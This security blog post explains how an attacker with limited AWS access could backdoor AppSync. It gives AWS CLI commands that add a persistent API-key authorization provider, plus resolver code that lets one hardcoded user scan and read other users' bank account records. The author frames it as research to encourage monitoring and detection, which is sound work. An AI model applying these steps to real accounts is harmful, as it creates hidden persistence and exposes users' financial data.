Distorting the Sync: How AWS AppSync Can Be Turned into an Attacker’s Backdoor

Adan
6 min readOct 3, 2023

--

After my last article, where I explored unconventional methods attackers might employ to compromise an AWS account and get information from users via Amazon CloudFront, in this article, I’d like to focus on AWS AppSync, described as a “Fully-Managed Serverless GraphQL API Service for Real-Time Data Queries.”

But first, a clarification: the scenarios I present here and those from the CloudFront article are not entirely new or groundbreaking. My goal is to highlight alternative techniques attackers might use once they have access to an AWS account with limited permissions, how there might be significant damage even with limited access, and how early detection can reduce the attack’s impact in many cases.

With that said, let’s dive into the protagonist of this article: AWS AppSync. Like CloudFront, AWS AppSync is often the initial touchpoint for user traffic (not always, as you can have CloudFront or AWS WAF, for example). Also, as AWS AppSync consolidates data from databases, APIs, and other backend systems into a unified GraphQL endpoint, there might be a lot of sensitive data going through it. Because of this, it is a clear target during post-exploitation. Let’s examine two potential attack scenarios:

Scenario 1: Backdooring with API Keys

We’ll base our scenario on the AWS documentation’s “DynamoDB Transaction resolvers,” but with some modifications. The code and detailed instructions for creating the scenario can be found in the GitHub repository AWS-Attack-Scenarios.

We’ll set up a new AWS AppSync service with the default AWS Identity and Access Management (IAM) authentication and Cognito as an additional authorization provider for one specific endpoint.

The API will allow IAM users with permission to populate accounts, transfer money, and retrieve accounts. Also, it will allow Cognito authenticated users to get the details of their savings account.

Once the scenario is ready, what if an attacker gains access to modify AWS AppSync? One technique an attacker might use involves backdooring the service by adding an API Key for extra authorization. This is similar to attackers establishing persistence in AWS by creating an API Key for a user — a method considered evident, however, has been employed in operations like SCARLETEEL. If such a well-known post-exploitation technique can be used against IAM, why not against AWS AppSync?

For a successful AWS AppSync API backdoor, an attacker would:

  1. Add a new authorization provider, making sure to keep the existing ones. In our specific scenario, we need to keep AWS_IAM as the default authentication type and add API_KEY as an extra authentication provider, making sure we keep the configuration from the Cognito provider.
aws appsync update-graphql-api --api-id API_ID /
--name API_NAME --authentication-type AWS_IAM /
--additional-authentication-providers '[{"authenticationType": "AMAZON_COGNITO_USER_POOLS", "userPoolConfig": {"userPoolId": "USER_POOL_ID", "awsRegion": "us-east-1", "appIdClientRegex": "APP_ID_CLIENT_REGEX" }},{"authenticationType":"API_KEY"}]'

2. Generate an API Key

aws appsync create-api-key --api-id API_ID

3. Modify the schema and add the directive @aws_api_key, ensuring that the default directive @aws_iam is added when needed to avoid breaking the application. To do this, download the current schema:

aws appsync get-introspection-schema --api-id API_ID --format SDL schema.graphql

4. Edit the schema and then encode it in base64

base64 schema.graphql > schema_base64.txt

5. Lastly, add the new schema

aws appsync start-schema-creation --api-id API_ID --definition file://
schema_base64.txt

With these changes, the attacker could retrieve API data using the new key (doing a query with the X-Api-Key header), even after losing access to the compromised AWS account.

Figure 1. Burp Suite request using an API key

Moreover, if the attacker had modification permissions but lacked API execution rights, this backdoor would enable data querying, acting as a means for lateral movement or even privilege escalation.

Scenario 2: Resolver Manipulation

In this second scenario, we’ll keep using the same configuration, but we will look at the endpoints with AWS Cognito as an additional authentication method.

Essentially, users can authenticate via Cognito on a public website, which queries the API to display their balances.

Figure 2. Example website used by users

The important point is that users can only view their balances, and the authorization logic is configured in an AWS AppSync resolver. In this case, the resolver retrieves data from DynamoDB based on the user’s JWT. Here we can see an example of a resolver that does that:

export function request(ctx) {
console.log(ctx)
return {
version: '2018-05-29',
operation: 'TransactGetItems',
transactItems: [
{ table: 'savingAccounts', key: util.dynamodb.toMapValues({ accountNumber: ctx.identity.sub }) },
{ table: 'checkingAccounts', key: util.dynamodb.toMapValues({ accountNumber: ctx.identity.sub }) }
],
};
}

export function response(ctx) {
if (ctx.error) {
util.error(ctx.error.message, ctx.error.type, null, ctx.result.cancellationReasons);
}

const items = ctx.result.items;
const savingAccounts = [items[0]];
const checkingAccounts = [items[1]];
return { savingAccounts, checkingAccounts };
}

However, if an attacker gains access to AWS AppSync, they could alter the resolver code and add specific actions for their user. Attackers have many options. Their only limits are their creativity and some rules of the APPSYNC_JS or VTL runtime, like being unable to use the internet.

For instance, starting from the resolver code from the example above, an attacker might modify the request function to scan a table and then adjust the response function to display one of the results. Because the attacker might not know the sub of other users, and the response is limited to one account (if we do not want to modify the schema), the attacker might use a custom header and use it as an index to go through the accounts. Here is an example of the modified code:

export function request(ctx) {
console.log(ctx)
if (ctx.identity.sub == "a4b8c488-d001-708c-4e26-882a2f320cc6") {
return { operation: 'Scan' };
}
else {
return {
version: '2018-05-29',
operation: 'TransactGetItems',
transactItems: [
{ table: 'savingAccounts', key: util.dynamodb.toMapValues({ accountNumber: ctx.identity.sub }) },
{ table: 'checkingAccounts', key: util.dynamodb.toMapValues({ accountNumber: ctx.identity.sub }) }
],
};
}
}

export function response(ctx) {
if (ctx.error) {
util.error(ctx.error.message, ctx.error.type, null, ctx.result.cancellationReasons);
}
if (ctx.identity.sub == "a4b8c488-d001-708c-4e26-882a2f320cc6") {
const items = ctx.result.items;
let index = +ctx.request.headers.account;
const savingAccounts = [items[index]];
return { savingAccounts };
}
else {
const items = ctx.result.items;
const savingAccounts = [items[0]];
const checkingAccounts = [items[1]];
return { savingAccounts, checkingAccounts };
}
}

Here are two examples of requests from an attacker to get data from other users:

Figure 3. Burp Suite request with a custom header to get the information from the account in index 0
Figure 4. Burp Suite request with a custom header to get the information from the account in index 1

As mentioned, this is just one possibility. But there are many more options; the attacker might also decide to modify the schema and add its own endpoint to retrieve data.

Conclusion

As with the CloudFront article, we see that attackers don’t always need access to the most well-known AWS services like IAM, EC2, or RDS to launch a severe attack. Once they can modify AWS AppSync, attackers can quickly escalate and access partial or complete data sets. Not only this, but if these AWS AppSync modifications go unnoticed, they can continue extracting data from new users. Therefore, monitoring such changes is crucial.

Optional: Testing in a Controlled Environment

For those interested in testing the above, I’ve shared Terraform files in this GitHub repository to help you set up the basic infrastructure.

--

--

Adan

Cyber Security Engineer interested in Pentesting | Cloud Security | Adversary Emulation | Threat Hunting | Purple Teaming | SecDevOps - https://adan.cloud/